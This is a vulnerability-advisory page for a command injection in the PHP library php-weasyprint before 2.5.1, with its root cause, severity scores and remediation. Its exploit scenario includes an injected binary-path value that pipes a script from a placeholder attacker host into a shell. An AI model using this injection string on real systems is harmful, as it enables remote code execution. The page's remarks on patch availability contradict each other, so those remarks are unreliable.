Skip to main content

PhpWeasyPrint CVE-2026-49260

| EUVDEUVD-2026-38048 HIGH
OS Command Injection (CWE-78)
2026-06-19 security-advisories@github.com GHSA-f5gc-qxf8-mh9g
8.2
CVSS 3.1 · Vendor: github
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain config-write primitive (tenant admin / env access)
  2. Delivery
    Set binary path to `weasyprint; <payload>; #`
  3. Exploit
    Trigger PDF generation request
  4. Install
    buildCommand falls through unescaped
  5. C2
    Process::fromShellCommandline executes via /bin/sh
  6. Execute
    Payload runs as PHP user
  7. Impact
    Pivot to tenant data or container escape

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires that the WeasyPrint binary path passed to the PhpWeasyPrint constructor or setBinary() is influenced by data the attacker can write - concretely: a configuration file the attacker can edit, an environment variable derived from request data, a per-tenant setting in a SaaS admin panel, or any concatenation of user input into the binary string. Exploitation is blocked when the binary path is a hard-coded literal in PHP source and the PHP process has no writable configuration source for that value. Limiting factors: PR:H in the CVSS vector reflects that the attacker needs the configuration-write primitive (typically tenant-admin or filesystem write to the app), exploitation runs only as the PHP-FPM/CLI user (not root), and the host must be POSIX - the escapeshellarg quoting bug does not manifest identically on Windows where escapeshellarg uses double quotes.

Impact

The CVSS 3.1 vector AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H scores 8.2 and reflects that an attacker must already control the binary configuration value - typically via a privileged admin panel, a writable .env, or a multi-tenant setting surface - to inject. This is not an unauthenticated RCE; it is a privilege-escalation / tenant-isolation break that becomes high impact in SaaS or multi-tenant deployments where lower-privilege operators can edit the WeasyPrint path. EPSS and CISA KEV data were not provided in the input, and no public exploit identified at time of analysis for the WeasyPrint variant - however the published snappy PoC ports trivially, so practical exploitability should be treated as high once an attacker has the configuration write primitive. The CVSS PR:H seems generous given that in many frameworks the binary path is set in user-facing config; defenders with self-service tenant config should treat this closer to PR:L.

Exploit ScenarioDerived

A multi-tenant SaaS exposes a 'PDF engine path' field to tenant administrators (or stores it in a per-tenant .env), and a tenant admin sets it to weasyprint; curl attacker.tld/s.sh | sh; #. The next PDF generation call constructs a shell command via Process::fromShellCommandline() and executes the injected payload as the PHP process user, achieving RCE within the application container. A working PoC for the identical sink exists in the KnpLabs/snappy advisory and can be adapted in minutes.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 19, 2026

Shell command injection in pontedilana/php-weasyprint prior to 2.5.1 allows code execution as the PHP process when the WeasyPrint binary path is sourced from configuration, environment variables, or per-tenant settings. The library's buildCommand() inverted the order of escapeshellarg() and is_executable(), turning the 'safe' branch into dead code and passing the raw binary string into Symfony Process::fromShellCommandline(). No public exploit identified at time of analysis, but a PoC for the identical KnpLabs/snappy precursor flaw (GHSA-vpr4-p6fq-85jc) is published and directly applicable.

RemediationAI

Vendor-released patch: upgrade pontedilana/php-weasyprint to 2.5.1 or later via composer update pontedilana/php-weasyprint (see https://github.com/pontedilana/php-weasyprint/releases/tag/2.5.1 and commit 9e86a2b317237fc5728f712f5037164530117f7e). If upgrade is not immediately possible, the vendor-recommended workaround mirrors the snappy guidance: validate the binary path with \is_executable($path) on the unescaped string before instantiating the generator, and reject any value that fails - note this only helps if the path is set in application code, not if it flows from runtime configuration. Additional compensating controls: remove tenant/operator write access to the binary path setting, hard-code the path in immutable application code or container image, and run the PHP-FPM process under a least-privileged UID with a restrictive AppArmor/SELinux profile so a successful injection cannot read tenant data or pivot.

Affected VersionsENISA

php-weasyprint < 2.5.1

Affected Packages

composer pontedilana/php-weasyprint fix: 2.5.1
euvd php_weasyprint fix: 2.5.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

PhpWeasyPrint is a PHP wrapper around the WeasyPrint HTML-to-PDF CLI, marketed as a drop-in replacement for KnpLabs/snappy. The defect is a CWE-78 OS Command Injection rooted in a logic error: escapeshellarg('/usr/local/bin/weasyprint') returns the path wrapped in literal single quotes, then is_executable() is asked whether a file literally named "'/usr/local/bin/weasyprint'" (quotes included) is executable. On POSIX that always returns false, so the ternary falls through to the unescaped $binary, which Symfony's Process::fromShellCommandline() then evaluates through /bin/sh -c. The downstream KnpLabs/snappy project patched the identical bug in 1.7.1 (GHSA-vpr4-p6fq-85jc); PhpWeasyPrint inherited the codepath verbatim. The 2.5.1 fix introduces getEscapedBinary() which calls is_executable() on the unescaped path first and throws RuntimeException before escaping.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (github) PRIMARY 8.2 HIGH
AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
vuln.today AI 8.2 HIGH

Attacker needs write access to the binary configuration (PR:H, AV:L), execution as PHP user escapes the library trust boundary (S:C) with full C/I/A impact on the host process.

3.1 AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (github).

CVSS VectorVendor: github

Attack Vector
Local
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

1
Patch available
Jun 19, 2026 - 19:02 EUVD

DescriptionCVE.org

PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. Prior to version 2.5.1, pontedilana/php-weasyprint builds the shell command for WeasyPrint by passing the binary path through escapeshellarg() first and then checking the *quoted* result with is_executable(). On POSIX escapeshellarg('/usr/local/bin/weasyprint') returns '/usr/local/bin/weasyprint' with the single-quote characters as part of the string, so is_executable() looks for a file whose actual name includes those quotes. That file never exists, the "safe" branch is dead code, and the raw $binary string (set via the constructor or setBinary()) flows directly into Symfony\Component\Process\Process::fromShellCommandline(). Any deployment whose binary path is sourced from configuration, an environment variable, or a per-tenant setting reaches a shell-command-injection sink. The library is documented as a one-to-one substitute for KnpLabs/snappy and inherited the exact pre-fix codepath KnpLabs patched in GHSA-vpr4-p6fq-85jc. PhpWeasyPrint version 2.5.1 contains a patch for the issue.

Executive ViewAI

Why It Matters

The php-weasyprint library versions prior to 2.5.1 contain a shell command injection vulnerability enabling arbitrary code execution within the PHP process, affecting organizations relying on this library for document rendering workflows. Publicly available exploit code exists, creating immediate risk of server compromise, data exfiltration, and lateral movement through infrastructure. Urgent identification and remediation of all affected systems is required.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Implement strict input validation and allowlisting for all sources controlling WeasyPrint binary paths (environment variables, configuration files, tenant settings); (2) Restrict PHP process capabilities through containerization (remove cap_setuid, cap_setgid); (3) Enforce network egress restrictions from PHP execution context; (4) Disable WeasyPrint functionality if operationally non-critical; (5) Monitor process logs for unexpected child process spawning from PHP context; (6) Implement WAF rules to detect and block injection attempts targeting document rendering endpoints.

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

61
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +41
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy